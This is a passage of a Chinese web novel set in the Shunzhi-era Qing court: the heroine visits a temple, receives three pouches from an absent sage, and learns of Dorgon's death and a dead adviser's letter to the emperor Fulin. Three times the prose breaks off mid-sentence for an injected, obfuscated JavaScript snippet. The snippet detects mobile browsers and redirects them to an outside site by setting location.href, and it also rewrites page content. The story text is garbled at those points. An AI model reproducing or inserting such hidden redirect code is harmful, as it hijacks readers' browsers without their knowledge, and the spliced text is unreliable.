董浣浣笑嘻嘻的回答她道:“我们一起不做家务的办法。” 紫鸢看了一眼周围的狼藉,这些小姐不干是天经地义的,她怎么可能逃得掉,于是一脸生无可恋的问道:“是什么办法?” 董浣浣闻言,神秘的笑了一下,然后冲着她勾了勾手,紫鸢依势把耳朵凑近到她的面前。 董浣浣小声的说道:“你陪我去那个小庙一趟吧。” 果然没有好事。 紫鸢被董浣浣的提议吓着了,猛地抬起头,头差点撞到了董浣浣的鼻子上,还好她闪的快。 “小姐,你是疯了吗?你带着斗笠蒙着面去逛街,皇上可以睁一只眼闭一只眼当做没看见就算了,你这明晃晃的出门去见他师父,他还怎么做到睁一只眼闭一只眼,虽然他很在乎你,但是他是皇上,你一次次这样明目张胆的挑战他的权威,万一惹恼了他,真的会死的!”,因为害怕别人听到,紫鸢刻意压低了声音冲着控诉道。 董浣浣当然知道,她这样一次一次的挑战他身为天子的底线,虽然死不了,但是也是会吃到苦头的。 可是这一次为了救他,她非去不可。 董浣浣一脸认真的看向紫鸢说道:“只要他平安,我吃点苦又能怎样!” 65. 拜访 紫鸢最终还是拗不过董浣浣,晚上带着小柒和董浣浣一起趁着家人不备悄悄的溜出家门,雇了一辆马车,经过了一夜的奔波来到了小庙。 凌晨时分,微光初现,三人站在小庙门前,望着那大门紧闭的小庙,三个人你看看我,我看看你,最终决定紫鸢上前敲门。 紫鸢敲了好一会儿门,都没有人来应门。 “会不会家里没人啊,庙祝师父有事出去了?”,紫鸢提出假设。 董浣浣闻言上前用手推了一下门,然后说道:“门是从里面反锁的,你见过谁出去是把门从里面反锁的吗,人一定是在里面,可能是庙祝师父耳朵沉,或者是睡的太死没听到,毕竟他年纪也那么大了。”,然后拍了下紫鸢的肩膀说道:“继续敲门吧。” 紫鸢觉得她家小姐分析的对,刚想转身继续敲门,她又想到了另一个问题,“这样打扰人家睡觉是不是不太好?”,紫鸢看向董浣浣小声的问道。 听紫鸢这么说,董浣浣也犹豫了一下,她这一路上都很着急,想要尽快的知道自己想要知道的内容,让庙祝师父帮她想一个万全之策,却忘了一般这样的世外高人都是很喜欢清静,很讨厌被这样给打扰的。 刘备去请诸葛亮出山,三顾茅庐,前两次等到花儿都谢了诸葛亮都没有出来见他们,直到第三次诸葛亮被他的诚心所感动了,才愿意出来见他。 和古人求贤比起来,她这有求于人,而且是关系到黎明百姓的大事,也表现的太猴急,太没有诚意了吧。 还好出发的时候紫鸢提醒她要带点见面礼,不然依照她的德行,两手空空的来求人,只会显得更丢人更没诚意。 董浣浣犹豫着到底该不该让紫鸢继续敲门,还是应该摆出一副虔诚的样子,站在门口,等庙祝师父自己开门来发现已经在这里苦守多时的她们,来显示她们的诚意。 马上就要入冬了,凌晨的郊外确实有些凉,也算是天时地利人和的卖惨机会。 董浣浣还在考虑要不要实行紫鸢建议的卖惨计划的时候,门就从里面被打开了。 “谁啊,这么早来敲门……”,一个大约十一二岁的少年,穿着松松垮垮的袍子,头发披散着,一副没睡醒的样子,摸着脖子,一脸不耐烦的抱怨道。 董浣浣被这个浑身散发着起床气的开门少年的不悦的表情给噎住了,一时间竟然不知道该怎样开口。 上次她来的时候怎么没看到这里有这么个臭脸少年呢? 难道是庙祝师父新收的徒弟。 也是,庙祝师父年龄这么大了,一个人打理这个地方也太吃力了,还是收个年轻的徒弟和他一起打理比较好,董浣浣想。 “那个……我找这里的庙祝,请问你是他的……”,董浣浣小心翼翼试探性的开口问道。 “我是他徒弟”,廖云生头也没抬,凶巴巴的回复道。 果然是徒弟,董浣浣在心里给自己比了个赞。 自动忽视了廖云生那张已经黑如锅底的脸。 廖云生今天有些生气,以前老头在家的时候总是给他说,他们修行之人就要夏练三伏,冬练三九,每天天不亮就拉他起来打坐。 昨天他家老头终于良心发现放弃折磨他了,早上吃过饭后突然说要动身去云游了,给他留了一封信说是等他走了再打开,还给他留了三个锦囊让他交给一个人,又嘱咐他好好照看这个小庙之后便出发了。 信,他还没有打开看,老头每次搞这一出准是给他布置任务,他还是过几天清闲日子再打开吧,反正老头只是说了等他离开后打开,没说他离开多久后打开,他这也不算有违师训。 廖云生原本以为终于可以睡个好觉了,没想到这大清早的又被人这样给吵醒了,他倒是要看看到底是谁这么没有眼力劲,来吵醒他睡觉。 待看清董浣浣后,马上收起了他的不耐烦,整理了一下自己的头发和着装,唇角扯出一丝笑容,礼貌的说道:“果然不出师父所料,你真的来了。” 怎么是她啊? 老头临行前千叮咛万嘱咐的说,如果她来了,一定要好好招待,然后把三个锦囊给她,招待不好的话,可能他的小命就没了。 虽然他家老头身上的毛病一大堆,但是这掐算的本领确实是练的炉火纯青的。 俗话说,不听老人言吃亏在眼前,为了自己的小命,他也要打起十二分的精神来接待这位活祖宗。 董浣浣打量着眼前这个给她表演川剧变脸的少年,此少年长得清新俊逸,唇红齿白的,长大后肯定也是可以迷倒万千少女的翩翩美男子,可是不知道为什么董浣浣总觉得他怎么看怎么有点眼熟。 到底是在哪里见过他呢? 董浣浣拼命努力的回想。 突然脑子灵光一闪,她想到了! “你是那天在客栈里给我们送信的那个乞丐,对不对?”,董浣浣恍然大悟般激动的指向面前的人问道。 廖云生闻言,腼腆的摸了摸自己的后脑勺,有些羞涩的说道:“你的眼力真的很好啊,我那天都把自己捯饬成那个样子了,你居然还能认出我来。” 说完把门推到了一边,侧过身给董浣浣让出路来,说道:“你们别站着了,进来吧。” 原来那天就是庙祝师父给他们递的信,把他们引过来的啊。 怪不得那天福临和老师父说的那些对话她听着总是那么奇怪,话里有话的样子,原来当时福临就应该已经知道了信是谁给他们的,只是没有和她说而已,他说带她来拜拜,董浣浣以为福临是带她来拜佛,其实福临是带她来拜拜庙祝师父。 廖云生给她让路,董浣浣也没客气,顺势走了进去,谁让他那天明明可以光明正大的把信递给他们,却选择假扮乞丐来戏弄他们来着。 董浣浣边走边左右上下的仔细的看了看,放慢脚步等着廖云生关好门跟上来。 上次来的时候匆忙,都没有来得及好好观察一下这个庭院,当时只觉得它是只有一个庙祝的普通小庙,虽然庙祝很仙风道骨,但是因为她当时只觉得他是个有些超高觉悟的思想家,对他只有尊敬没有崇敬。 如今庙祝师父在她心里一朝翻身成了隐士高人,董浣浣直接给他带了八百层厚的滤镜,就连他住过的地方董浣浣也觉得仙气飘飘起来,这次趁机正好仔细观察观察,这隐士高人所住的住所,与旁人的到底有何不同。 廖云生等到她们三个人都进来了之后,转身关上门,跟着她们走在后面自言自语的埋怨道:“我说不扮乞丐,老头非要让我扮乞丐,现在被人家认出来了吧,这多有损我在人家心中的形象啊,太丢人了,等他回来我一定要和他说道说道。” 董浣浣边看边走,在听到廖云生已经跟上来的脚步声后,停住脚步,转过身去在脑袋里斟酌了语句,然后问他:“你师父现在起床了吗,麻烦你帮我通传一声,就说董鄂.浣浣前来拜访,问他老人家有没有时间出来见一下我,谢谢。” 因为董浣浣的转身太毫无预兆了。跟在她后面走的三个人,一时间没反应过来,就像多米诺骨牌一样,撞在了一起。 董浣浣赶忙扶起跌在她身上的小柒,对着紫鸢和廖云生连连鞠躬说抱歉。 她没想到他们跟在她身后这么近,既然引发如此滑稽的“惨案”。 紫鸢和小柒自是不会怪她,董浣浣最后把抱歉的目光落在了廖云生的身上。 廖云生摸了摸自己的鼻子,缓解一下疼痛,然后皱着脸看向董浣浣说道:“我没事。” 董浣浣安下心来,没事就好,没事就好,然后接着说:“所以,现在可以帮我去给你师父报个信了吗?”。 廖云生摸着自己的鼻子,皱着脸回答董浣浣道:“这恐怕不行。” 不给她见庙祝师父,这怎么行。 董浣浣一听有些急了,嘴里开始不听使唤的胡说八道起来:“不能因为我不小心害你撞到了紫鸢,磕着了一下鼻子,就直接剥夺了我见庙祝师父的资格吧,你这未免也太小题大做了吧,还是庙祝师父被我们的敲门声搞烦了,派你去门口接我们,是他想要你告诉我们他不想见我们,如果是这样我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16815890|190875||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 现在就出去,保证不搞出一点声响,直到他想见我们为止。” 董浣浣说完就要往门外走,紫鸢和小柒也快速跟上。 廖云生听到她这一通不分青红皂白的胡说八道,有些头大的拦住董浣浣的去路,向董浣浣解释道:“不是我不想让你见,也不是我师父不想见你。” 董浣浣接着问:“那是为什么……”,问题还没有全部宣之于口,董浣浣就突然想到了另一个可能性,难道是他来了? 对啊,现在时局动荡,他肯定也是有几个军师的,说不定庙祝师父也是他的军师之一呢,不然他认庙祝做师父是要学些什么呢。 是她大意了,只想到他很忙没时间过来,却没有想到,庙祝师父也是他的军师之一的可能性。 既然是军师,那他们肯定会常常相见,说不定此时他们就坐在那间禅房商讨着国家大事。 董浣浣越想越有可能,她现在出现在这里实在是太危险了,万一这个时间被他在这里撞见了,她以后真的有可能被关在家里一辈子了。 她怎么就忘了他也是庙祝的徒弟了,这样没有事先打探虚实就贸贸然的敲门进来,实在是太鲁莽了。 三十六计,走为上计,此时不溜,更待何时。 董浣浣在心里暗暗的劝诫自己道:下次再来的时候一定要确定了庙里的情况再进来,不然很容易被抓现行。 董浣浣推开了廖云生的手,说道:“抱歉,我刚刚想起来我还有事,麻烦帮我向庙祝师父道声歉,就说我下次再来打扰他。算了,”,董浣浣转头一想让他和庙祝师父说她来了,不就等于告诉福临她来了吗,这就等于自投罗网啊,“你就当我从来没有来过这里好吧,谢谢了。” 说完就要走,廖云生被她这着急忙慌的样子给打败了,如果不是师父临走之前的千叮咛万嘱咐,他真的不是很想再理她们了。 廖云生深深的吸了一口气平复了一下自己的情绪,然后冲着董浣浣的背影大声吼道:“你能不能别那么着急走,能不能听我把话说完,我之所以说我师父不能见你不是因为我不让他见你。也不是因为他不想见你,只不过是你来晚了,他昨天动身去云游去了!” 他的声音从背后传来,一字一句的砸在了董浣浣的耳朵里。 董浣浣刚要迈出大门的脚,生生的就停在了那里。 他说他师父不能见她,不是因为她脑补的那些奇奇怪怪的理由,只是因为他云游去了,没办法见她。 董浣浣赶忙把迈出大门的腿从新迈了回来,走到廖云生的面前,语气中带着期盼,带着紧张,小心翼翼的询问道:“他有说什么时候会回来吗?” 廖云生看着她的脸,有一丝不忍心的如实回答道:“没有。” 晴天霹雳! 董浣浣感觉整个人都不好了。 她该怎么办? 为什么庙祝师父偏偏要在这个时候去云游呢。 难道是上天都不想要帮她吗? 廖云生看到她听到师父去云游之后,这幅面如死灰的样子,颤颤巍巍的从袖口里拿出了那三个锦囊,补充道:“不过师父临走之前有给你留了三个锦囊,你要不要看。” 董浣浣一听眼睛里又从新沾染上了一丝光彩,但是并没有立马伸手去接。 一旁的紫鸢见状,气呼呼的一把锦囊从廖云生手上拽了下来,“有锦囊为什么不早说,非得见我们家小姐这样伤心,你才开心是吗?” 廖云生小声的反驳道:“我又不知道她会这样,怎么能怪我呢……” 被紫鸢和小柒两个白眼直接杀的不敢说话了。 紫鸢转过头来把锦囊递给旁边的董浣浣:“小姐,给你,庙祝师父肯定是早就料到了今天的事情,才会给你留下这三个锦囊。” 董浣浣抬头,一脸犹豫的问她:“是吗?” 紫鸢使劲的点了点头,说道:“那当然了。” 董浣浣拿着那三个锦囊迟迟不敢打开,她害怕打开那三个锦囊,又是熟悉的那句话:勿念前世,既来之,则安之。 66. 决定 董浣浣坐在椅子上前思后想犹豫了许久,迟迟不敢打开面前桌子上那袋子上分别标着一二三的锦囊。 其他人也不说话坐在一边默默的等着她做决定。 终于在经历了冗长的沉默之后,廖云生憋不住了,站起身来,对着董浣浣抱怨道:“你要打开就打开,不想打开就不打开,你这样盯着它们能盯出一朵花来吗,我太困了,就不奉陪了。” 说完转身就要走。 凭什么敢教训我们家小姐! 紫鸢听到他这么说,不知道为什么脾气就又上来了,叉起腰瞪着廖云生怼他道:“我说你这人是不是有病啊,你没看到我们家小姐在思考吗,你以为别人都像你一样没脑子,不管三七二十一看见东西就直接打开,还有我们家小姐想看就看,想不看就不看,还轮不到轮不到你说她!” 本来已经要离开的廖云生,被她这么一怼,脾气也上来了,索性就不走了,回呛道:“你这个女人怎么这么不讲道理啊,我让她赶快做决定怎么就成了没脑子了,再说了我也不是见到东西就喜欢打开的人……” 紫鸢呵呵一笑截断了他的话,“连自己师父去哪儿都说不出来的人,还说自己不是没脑子?” “云游,他去云游了,云游你懂不懂,我怎么可能知道他现在在哪儿……” 廖云生的话还没说完,董浣浣的声音就插了进来,“你们别吵了,我决定了,现在就打开锦囊。” 本来还在争吵的两人听到她的话,同时噤了声,转头看向她。 董浣浣拿起袋子上写着一的锦囊打开,拿出一个纸条,纸条上面写着:很荣幸的告诉你,当你打开这个锦囊,会得知两个消息,一个好消息和一个坏消息。 好消息就是这个住所里的所有东西从现在开始都归你了,包括廖云生,当然你不想要他也可以随时把他赶出去。 坏消息就是我去云游了,归期不定,当然你可能没看到这个锦囊之前就从廖云生的嘴里听说了这个噩耗,但这并不妨碍我在锦囊里再说一遍。 董浣浣看完纸条,拿着它好一会儿没说话。 紫鸢看着她不知道是什么情况,有些担忧的问道:“小姐,字条儿上面写了什么?” 董浣浣闻言把锦囊递给她,紫鸢接过字条儿,看了一下,站在紫鸢旁边的廖云生也厚脸皮的凑上来看了一眼。 不看不知道一看气死了,这个老头居然把房子和他全送给别人了! 本来已经够生气了,谁知道紫鸢等他看完纸条,又在他耳边轻飘飘的挖苦道:“呦,呦,呦,一会儿的功夫,你这直接从主人变成了客人了,不对”,紫鸢改口道:“不是客人,是下人。” 廖云生被她气的脸青一阵,白一阵的,冲着紫鸢吼道:“你给我等着!” 然后气冲冲的跑回自己的房里,找到老头给他的信,他倒要看看臭老头到底在玩什么把戏。 紫鸢对着他的背影做了个鬼脸然后嘲笑他道:“等着就等着,看你能拿我们怎么办?” 廖云生拿着信又气冲冲的回到禅房,当着所有人的的面,打开了信: “乖乖徒,如果你是漫不经心的打开这封信的,就说明你还有救,那就把我让你转送的那三个锦囊的第一个扔掉吧,里面有气死你的内容。 如果你是怒气冲冲的打开这封信的说明你已经看到了锦囊上的内容,那你就是没救了。 我猜,此刻你一定是怒气冲冲的吧,好徒儿,不要怪师父没有帮你,你要是先打开了这封信,我们的家就还是你的家,趁着我不在吃喝玩乐,自由自在,现在全都没了吧,厚脸皮熬着吧,等师父玩够了自会来接你!” 紫鸢看完信,噗嗤一声笑了,“你师父真了解你!” 廖云生生气的把手中的信揉成一团,扔在了地上。 怪不得说我不听她的话,很可能小命就没有了,这个臭老头居然把这个地方给她了。 无所谓,男子汉大丈夫,大不了他也学老头一样出去云游一番见见世面,过个一年半载的回来看看老头回来了吗,也挺好的。 思其及,廖云生没有好气的说道:“你们什么时候住进来,我提前帮你打扫完……” 廖云生还没说完就被紫鸢打断了,“呦,真是能屈能伸啊,这么快就适应了自己的新身份了……” 廖云生气急,冲着紫鸢吼道:“我是说收拾完,我就走,你能不能让人把话说完!” 说完转头就要走,然后被紫鸢拉住了衣摆。 紫鸢看着他这幅气冲冲转身就要走的样子,也觉得自己刚刚似乎有些做的太过了,想要找补回来。 廖云生看了一眼自己的衣摆,对紫鸢说道:“你放开”,然后就伸手想要从紫鸢的手里把衣摆扯出来。 他扯紫鸢也跟着扯,“我说你这个人也太不经逗了吧,刚才都是逗你玩呢,我们董鄂家,家大业大才看不上你这点破地方呢,是吧小姐。” 紫鸢一脸寻求赞同的样子看向董浣浣,等着董浣浣应声。 这期间一直没有说话的董浣浣,闻言说道:“不,我要住。” 两个拉扯的人,听到董浣浣这话,同时一愣。 刚刚就在他们拉扯的时候,董浣浣已经打开了第二个锦囊,里面只有一句话:你还要打开第三个锦囊吗? 看着手中的锦囊,董浣浣突然间就醒悟了。 求人不如求己。 庙祝师父这是在躲她啊。 紫鸢听到董浣浣这么说,放开了廖云生的衣摆,走到董浣浣的身边,带着疑问小声的说了一句:“小姐?” 董浣浣当然知道她想要问什么,没答话,只是把第二张纸条递给她。 廖云生看到紫鸢松开了他的衣服,自己也就松开了,整理了一下自己的衣服,尽量让自己恢复得体的形象,然后和董浣浣说道:“你打算什么时候搬进来?” 董浣浣回道:“麻烦你先帮忙尽快收拾一间屋子出来,我最近几天会安排人过来把这附近买下来,在不改变这里原貌的基础上,扩大一些面积,重修一番。” 廖云生明白了, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16815891|190875||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这是要他尽快卷铺盖走人的意思,拱手告辞道:“我这就去帮你收拾”。 “还有”,董浣浣叫住他,“你师父估计一时半会是不会回来的,天下之大,你也不好去寻他,这里我都不会动,只不过以后我们三个女生住下来,如果有些你体力上的活可能会需要你帮忙,你如若不嫌弃就留下来等他吧。” 廖云生听到她这么有诚意的话,也不好再驳了人家的面子,点了点头道:“我会考虑的。”,然后转身去帮董浣浣收拾去了。 待廖云生走后,紫鸢把那张字条看完放在桌上,问道:“小姐,第三个锦囊你还看吗?” 董浣浣看了紫鸢一眼又看了看桌子上的锦囊,说道:“不看了”,然后把第三个锦囊收回放在腰间,其他两个则交给紫鸢代为保管。 一切收拾妥当之后,董浣浣说道:“走,和廖云生说一声,我们先回家了。” 一行人和廖云生打了招呼之后,便踏上了回家的路程。 马车上。 紫鸢小心翼翼的发表了心中的意见,“小姐,你真的想要搬进那个庙里去住吗,我觉得老爷是绝对不会同意你这个决定的。” 董浣浣闻言没有立刻答话,只是苦笑了一下。 阿玛不同意? 只怕到时候他也不得不同意吧。 董浣浣心想。 然后调整好语气和紫鸢说道:“搬,当然要搬去住了,我都和廖云生说好了,只不过不是现在而已,这几个月我会找人好好的把那里收拾出来让我们以后住的舒服一些,当然到时候你们也有权决定跟不跟我去。” 紫鸢听到董浣浣这么说,知道她这是认真了,只不过她不明白为什么小姐这次要那样坚持的去一个庙里居住,这不是她家小姐的一贯的行事作风。更何况,小姐这样做皇上肯定是不会同意的,到时候为难下来小姐自是没事,受苦的肯定是他们,思其及,紫鸢不死心的劝她道:“小姐,我觉得你不应该这样贸然的去住到一个庙里,你想住也可以,最起码也要给上面头头报备一下吧,万一他怪罪下来……” 紫鸢的话还没有说完,就感到一股强烈的冷气向她袭来。 然后看到董浣浣一脸严肃的看向她,语气认真的说道:“紫鸢,以后不要帮我拒绝任何事情,我希望从今天开始我自己的事,任何决定都由我自己来做,我和他的事情我自会解决,绝对不会连累阿玛和你们。” 这一刻紫鸢觉得她家小姐变了。 不久后。 紫鸢和小柒待在屋里看着来来往往不停劳作的工人,呵了呵手。 天气渐渐凉了,祈福庵的建造最终还是如火如荼的拉开了序幕。 名字是董浣浣的取的。 紫鸢不知道那天回到家,小姐去老爷的书房里和老商量了些什么,老爷居然就同意了,替小姐出了钱,找了人。 最近的小姐也突然变得乖了起来,躲在房里,大门不出二门不迈的。 不知道为什么,紫鸢总有一种不祥的预感,这个世道好像要变天了。 67. 风云突变 顺治七年十二月初九,一代枭雄爱新觉罗.多尔衮死在了古北口外。 董浣浣在家里听到了这一消息,手里的玉蝶应声摔了个粉碎。 这一天终究还是来了。 鄂硕应召前往宫中,临行前吩咐紫鸢好好照顾她。 董浣浣拉住鄂硕的手,声音颤抖的说道:“阿玛你一定要帮他。” 鄂硕拍了拍她的肩膀点头道:“放心吧,他会没事的。” 董浣浣闻言又补充道:“你一定要平安回来。” 鄂硕点了点头道:“放心吧,孩子。” 说完便离开了。 董浣浣看着鄂硕的背影,心里还是很不安定。 虽然历史已经告诉了她,他们此次都会平安无事,可是身在当前的环境下,还是不免会为他们感到担忧。 这一个多月以来她和福临只见过三面,还都是在夜深人静的时候。 他说这样一来是为了她的安全,二来是为了她的名声,他说现在的忍耐是为了以后更好的相守。 他总是这样的为她着想,却不知这可能是他们在一起最够的时光了。 祈福庵已经建好了,廖云生送来消息说,随时都可以入住。 一切安排就绪,现在只需要耐心等着传召就好了。 紫禁城永福宫的小祠堂内。 布木布泰跪在蒲团上,双眼紧闭,正在虔诚的祷告着。 祠堂大门“吱呀”一声被从外面拉来,福临急冲冲的闯了进来,冲着还在祷告的布木布泰质问道:“为什么要让阚先明做这种事?” 布木布泰听到他的质问睁开眼睛,不紧不慢的完成了祷告,然后在苏茉儿的搀扶下从容的从蒲团上站起身来,整理了一下衣摆。 布木布泰站定,给旁边的苏茉儿使了个眼色,苏茉儿会意,便关上门出去了。 待苏茉儿走后,布木布泰看着福临,语气平淡的说道:“从你开始筹划从多尔衮手中夺权的那一刻起,就应该预料到所有的结局。” “这个世道很公平的,得到一些东西,就会失去一些东西。得到的越罕有,失去的也就越珍贵。” “所以这就是你联络舅舅要挟阚先明去刺杀多尔衮的理由!” 福临被气的青经暴起,冲着布木布泰吼道:“他有孔明东方朔之智,为什么你们要背着我让他行荆轲之事。” 布木布泰听到他的话冷笑了一下,说道:“皇儿啊,你可能是误会了,这件事我和你舅舅从未参与过。 害死他的不是我们是他自己,阚先明想要证明他有孔明之智,他得到了,付出的代价就是他要在青史上永远的销声匿迹,他得到了但是他也失去了。 儿啊,你想要从多尔衮手上拿回属于你的权力,现在你得到了,那么你做好了失去的准备了吗?” 布木布泰拍了拍愣在一边的福临的肩膀,笑着推开门走出去了。 福临愣在原地,不知道为什么他的脚底心开始阵阵的冒着寒意,皇额娘的话中有话,让他升起一股不祥的预感。 另一边董浣浣在家也迎来了一位不速之客,孟章砚。 董浣浣也不是没有想过会再见到他,只不过没想到会以这样的场合,这样的着装见到他而已。 孟章砚此刻一袭白衣,头带白帽,颓丧的坐在董浣浣的对面。 多尔衮新丧,全国上下都在“哀痛不已”,他这样着装确无大碍,只不过据她所知孟章砚和多尔衮在历史上没有什么交集,他这一副哀痛的表情着实让董浣浣有些不明所以。 很快孟章砚便解答了她的疑惑,“家师新丧,临走前嘱托我,让我来见你一面,把这封信让你转交给他。” “你师傅是谁,让我把信转交给谁?”,董浣浣一脸莫名的问道。 孟章砚的师父? 她不记得她结识过这么一号人物。 “家师阚先明住在大兴安岭深处的草庐内,是双耳的原主人。” 孟章砚的话勾起了董浣浣的回忆,好像那一次他从山洞里救他们出来之后,离开时说的就是去找他师父。 “双耳是谁?”,董浣浣接着问。 “双耳是两匹狼,或者现在应该叫他们小乖乖和小甜甜。” “他是小乖乖和小甜甜原来的主人!”,董浣浣从椅子上站起身来,惊呼道。 虽然她从来也没有见过阚先明,可是他们未免也太有缘分了吧。 孟章砚点了点头,然后补充道:“也是安齐修的谋士。” 激动的董浣浣闻言,热情瞬间冷却了一半,缓缓的坐到了椅子上。 “所以你们一开始就认识,安齐修去大兴安岭也只是为了见他对吗?” 孟章砚沉默了。 董浣浣从他的沉默里得到了她所要知道的答案。 原来所谓的带她去大兴安岭打猎玩只是他去拜访阚先明的一个幌子,期间他们所遭受的种种,可能也只是他为请高人出山使出的苦肉计中的一部分。 更有甚者,她以为的这一路的游山玩水,可能也只不过是个幌子而已。 虽然知道他有他的苦衷和迫不得已,可是董浣浣心里还是有些不是滋味。 当她以为的单纯的快乐不在单纯,她还能相信些什么呢? 不过现在也无所谓了,事情都已经过去了,想这么多也没有什么用了。 董浣浣调整了一下语气问道:“你师父为什么让你把信给我,让我转交给他,你自己转交给他不是更方便吗?” 毕竟按照历史记载,他很快就会成为福临的大舅哥,即使孟古青没有嫁给福临,孝庄也是他姑姑,无论怎样关系都要比她来得近,何必把信交给她,这样多此一举呢。 孟章砚闻言,从怀中把信拿出来,递给董浣浣说道:“我师父说,这封信给不给他,由你来做决定。” 他的这句话就很耐人寻味了。 董浣浣看了看他手中的信,接过信的同时,张口问道:“既然是让我转交,我能否看看信的内容?” 孟章砚点头道:“当然可以。” 董浣浣笑了笑说了句“多谢”,便打开了信,信上寥寥几行文字,却句句都是机密,总结起来就是:迎娶孟古青,联合蒙古各部,稳定朝局。 董浣浣看完信把信折叠好又重新放到了信封内,然后放入怀中,抬头看向孟章砚对他说道:“好的,我收下了。” 孟章砚闻言点了点头,就想起身告辞。 董浣浣出声拦住了他,“能不过告诉我,你师父是怎么死的?” 孟章砚听到她的问 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16815892|190875||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 话,又微微站起来的身子又坐了下去,“我以为你会想要问他和安齐修是怎样认识的呢。” “人都已经死了,问他们怎么相识的,不是太多此一举了吗?”,董浣浣说。 孟章砚看了一眼董浣浣,嗤笑了一下,“说的也是”,然后接着说道:“他是自杀死的。” 董浣浣重复了一句,“自杀?” 孟章砚肯定了她的疑问道:“对,自杀。从古北口外回来后,就心甘情愿的自杀了。” 董浣浣听懂了他话里的玄机。 虽然朝廷对外一直声称多尔衮是在古北口外病亡,但是据阿玛带回来的内部消息,多尔衮是在古北口外遇刺身亡的,如今孟章砚特意提及他师父去了古北口外,而后心甘情愿的自杀了,其中深意不言而喻。 现在他让孟章砚把信给她,让她转交给福临,其实就是拿着自己的性命来绑架福临听取他的谏言。 他之所以不怕董浣浣看信的内容,是因为他的本意就是让董浣浣看信的内容,看完信的董浣浣,无论是转交还是不转交都会成为阚先明道德绑架福临的筹码。 她转交了就会加重他道德绑架福临的筹码,她不转交自会有人把信中的内容以及她不转交的举动告诉福临,到时候她自然会成为他们口中不顾大局的红颜祸水。 她转不转交,事情的结果都是一样的,只不过会影响她在福临心中的形象而已。 这就是谋士之心,即使是死也要算计好自己死后的每一步,最大化的利用自己的死来绑架他的君主来实现他的计策。 就像是现代社会的某些家长,逼着孩子按照自己的想法过活,却从来没有问过自己的孩子愿不愿意。 差别就是孩子从开始到最后都是被迫的,而福临他一开始是自愿的。 其他事情她不知道,但是至少让阚先明做他的谋士这事儿,是他自愿的。 自己种什么因,自己就需要尝什么果。 “我明白了,放心吧,我会转交给他的。”,董浣浣拍了拍怀中的那封信说道。 孟章砚点了点头,便起身告辞了。 几日后。 董浣浣被福临带到一个坟前。 福临带着有些落魄的眼神望着那坟,语气低落的问董浣浣道:“你知道这里躺着的人是谁吗?” 董浣浣看了一眼那坟,葬在这么不起眼的地方,连个碑都不敢立的新坟,福临也只敢趁着夜深人静的时候才敢祭奠他,便猜出个大概,可是还是摇了摇头,说道:“我不知道。” 福临并不在意,只是缓缓的和她解释道:“他叫阚先明,是我的老师,一个很有才智的人。” 董浣浣知道福临接下来是想要告诉她什么。 按照正常的对话,董浣浣就该问他阚先明为什么会死,是怎么死的,接着延伸出他们的过往。 可是在此之前董浣浣想要和他说清楚一些事。 “我知道他,前几天孟章砚来找我了,让我转交给你一封信。” “信?”,福临转头看向董浣浣,“什么信?” 董浣浣把那天孟章砚让她转交给福临的信递给他,“这是前几天孟章砚来见我,说是他师父让我转交给你的信。” 福临疑惑的从董浣浣的手中接过信,看了起来。 68. 欺骗 福临合上信,转头看向董浣浣,很认真的问道:“你看过了?” 董浣浣也没有隐瞒,点了点头道:“看过了。” 福临闻言,没说话,只是把信按照原来的折痕折叠好装进了信封。 董浣浣眼睛盯着他的手,看着他折叠的动作,试探性的问道:“我可不可以问你一个问题?” 福临停下手中的动作,转头看向她认真的说道:“浣儿,你要记住无论什么境遇和身份,我们之间都不存在可不可以,明白吗?” 董浣浣听到他的话,很用力的点了点头。 看到她点头,福临接着说道:“所以,你想要问什么?” 董浣浣深吸了一口气,鼓足了勇气,问道:“如果我现在和你说,我们一起离开这里的是是非非,你还做你的安齐修,我还做我的董浣浣,你愿意和我一起走吗?” 皇后或者是贵妃她都不稀罕,只要他能够平平安安的,其他的什么都不重要。 虽然心里已经有预期知道他答应的可能微乎其微,可是还是忍不住问出了口。 福临看着她眼含期盼的望着他,双手扶住她的肩膀,低头看着她的眼睛,语气一下子严肃了起来,“为什么这么问,除了孟章砚还有人去找你了吗,他们和你说什么了?” 董浣浣迎上他的目光,轻轻的拉住他的手,攥紧,回答道:“没有人来找我,我只是有些害怕。” 福临闻言,表情放松了下来,手掌轻轻的拍了拍她的手,柔声反问道:“那你相信我会处理好一切吗?” 董浣浣听完他的话,在心里叹了口气,果然就不该心存幻想,本来就知道带他走是下策中的下策,是一条一张口就会被堵死的死路,可是还是会不死心的想要试一下。 现在是他最意气风发的时候,怎么可能会为了她无缘无故的抛下这大好形势,远遁江湖。更何况即使他愿意,以他们俩现在的身份要是这样做了,也会搞的天下大乱,人心涣散吧。福临是一个有责任心的君王,肯定是不会让臣民为了他的任性而受苦的。 